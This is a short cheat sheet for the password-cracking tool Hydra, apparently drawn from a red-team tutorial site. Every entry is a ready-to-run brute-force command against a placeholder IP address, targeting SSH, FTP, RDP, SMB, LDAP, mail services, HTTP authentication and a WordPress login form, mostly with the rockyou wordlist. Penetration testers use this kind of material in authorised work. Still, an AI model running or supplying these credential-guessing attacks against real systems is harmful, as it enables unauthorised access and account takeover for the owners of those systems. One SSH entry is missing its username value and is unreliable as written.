hydra

Cheat Sheet

https://redteamtutorials.com/2018/10/25/hydra-brute-force-techniques/redteamtutorials.com

hydra -P password-file.txt -v 10.10.12.34 snmp	
# Hydra brute force against SNMP

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.12.34 ftp	
# Hydra FTP known user and rockyou password list

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u 10.10.12.34 ssh	
# Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -p "" -t 1 -u 10.10.12.34 ssh	
# Hydra SSH using a known password and a username list

hydra 10.10.12.34 -s 22 ssh -l -P big_wordlist.txt	
# Hydra SSH Against Known username on port 22

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.10.12.34 pop3 -V	
# Hydra POP3 Brute Force

hydra -P /usr/share/wordlistsnmap.lst 10.10.12.34 smtp -V	
# Hydra SMTP Brute Force

hydra -L ./webapp.txt -P ./webapp.txt 10.10.12.34 http-get /admin	
# Hydra attack http get 401 login with a dictionary

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.12.34	
# Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt 10.10.12.34 smb	
# Hydra brute force SMB user with rockyou:

hydra -l admin -P ./passwordlist.txt 10.10.12.34 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'	
# Hydra brute force a Wordpress admin login

hydra -L usernames.txt -P passwords.txt 10.10.12.34 smb -V -f	
# SMB Brute Forcing

hydra -L users.txt -P passwords.txt 10.10.12.34 ldap2 -V -f	
# LDAP Brute Forcing